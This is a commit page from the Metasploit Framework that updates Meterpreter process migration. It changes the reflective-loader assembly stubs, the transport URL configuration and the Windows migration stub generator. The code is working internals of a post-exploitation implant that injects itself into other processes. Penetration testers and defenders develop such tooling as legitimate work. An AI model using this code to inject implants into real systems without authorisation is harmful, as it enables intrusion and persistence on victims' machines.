Skip to content

Commit f711e5d

Browse files
committed
Update migration support
Migration now uses the new meterpreter loader. Migration configuration is loaded and created by meterpreter on the fly, and supports the multiple transport stuff that's just been wired in.
1 parent fca4d85 commit f711e5d

File tree

5 files changed

+11
-49
lines changed

5 files changed

+11
-49
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,8 @@ module Msf::Payload::Windows
2424
require 'msf/core/payload/windows/dllinject'
2525
require 'msf/core/payload/windows/exec'
2626
require 'msf/core/payload/windows/loadlibrary'
27+
require 'msf/core/payload/windows/meterpreter_loader'
28+
require 'msf/core/payload/windows/x64/meterpreter_loader'
2729
require 'msf/core/payload/windows/reflectivedllinject'
2830
require 'msf/core/payload/windows/x64/reflectivedllinject'
2931

lib/msf/core/payload/windows/meterpreter_loader.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,8 +56,7 @@ def asm_invoke_dll(opts={})
5656
push ebx ; push the pointer to the configuration start
5757
push 4 ; indicate that we have attached
5858
push eax ; push some arbitrary value for hInstance
59-
mov ebx, eax ; save DllMain for another call
60-
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
59+
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
6160
^
6261
end
6362

lib/msf/core/payload/windows/x64/meterpreter_loader.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -49,15 +49,15 @@ def asm_invoke_dll(opts={})
4949
; add the offset to ReflectiveLoader()
5050
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
5151
call rbx ; invoke ReflectiveLoader()
52-
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config)
52+
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
5353
; offset from ReflectiveLoader() to the end of the DLL
5454
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
55-
mov dword ptr [rbx], edi ; store the comms socket handle
55+
; store the comms socket handle
56+
mov dword ptr [rbx], edi
5657
mov r8, rbx ; r8 points to the extension list
57-
mov rbx, rax ; save DllMain for another call
5858
push 4 ; push up 4, indicate that we have attached
5959
pop rdx ; pop 4 into rdx
60-
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config)
60+
call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
6161
^
6262
end
6363

lib/rex/payloads/meterpreter/config.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def transport_block(opts)
5252
# Build the URL from the given parameters, and pad it out to the
5353
# correct size
5454
lhost = opts[:lhost]
55-
if lhost && Rex::Socket.is_ipv6?(lhost)
55+
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
5656
lhost = "[#{lhost}]"
5757
end
5858

lib/rex/post/meterpreter/client_core.rb

Lines changed: 3 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -621,50 +621,17 @@ def generate_windows_stub(process)
621621

622622
# Include the appropriate reflective dll injection module for the target process architecture...
623623
if process['arch'] == ARCH_X86
624-
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
625-
binary_suffix = "x86.dll"
624+
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
626625
elsif process['arch'] == ARCH_X86_64
627-
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
628-
binary_suffix = "x64.dll"
626+
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
629627
else
630628
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
631629
end
632630

633631
# Create the migrate stager
634632
migrate_stager = c.new()
635633

636-
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
637-
if dll.nil?
638-
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
639-
end
640-
migrate_stager.datastore['DLL'] = dll
641-
642-
blob = migrate_stager.stage_payload
643-
644-
if client.passive_service
645-
# Patch options into metsrv for reverse HTTP payloads.
646-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
647-
:ssl => client.ssl,
648-
:url => self.client.url,
649-
:expiration => self.client.expiration,
650-
:comm_timeout => self.client.comm_timeout,
651-
:retry_total => self.client.retry_total,
652-
:retry_wait => self.client.retry_wait,
653-
:ua => client.exploit_datastore['MeterpreterUserAgent'],
654-
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
655-
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
656-
:proxy_type => client.exploit_datastore['PayloadProxyType'],
657-
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
658-
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
659-
# This should be done by the reflective loader payloads
660-
#else
661-
# # Just patch the timeouts, which are consistent on each of the payloads.
662-
# Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
663-
# :expiration => self.client.expiration,
664-
# :comm_timeout => self.client.comm_timeout,
665-
# :retry_total => self.client.retry_total,
666-
# :retry_wait => self.client.retry_wait)
667-
end
634+
blob = migrate_stager.stage_meterpreter
668635

669636
blob
670637
end
@@ -675,12 +642,6 @@ def generate_linux_stub
675642
f.read(f.stat.size)
676643
}
677644

678-
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
679-
:expiration => self.client.expiration,
680-
:comm_timeout => self.client.comm_timeout,
681-
:retry_total => self.client.retry_total,
682-
:retry_wait => self.client.retry_wait)
683-
684645
blob
685646
end
686647

0 commit comments

Comments
 (0)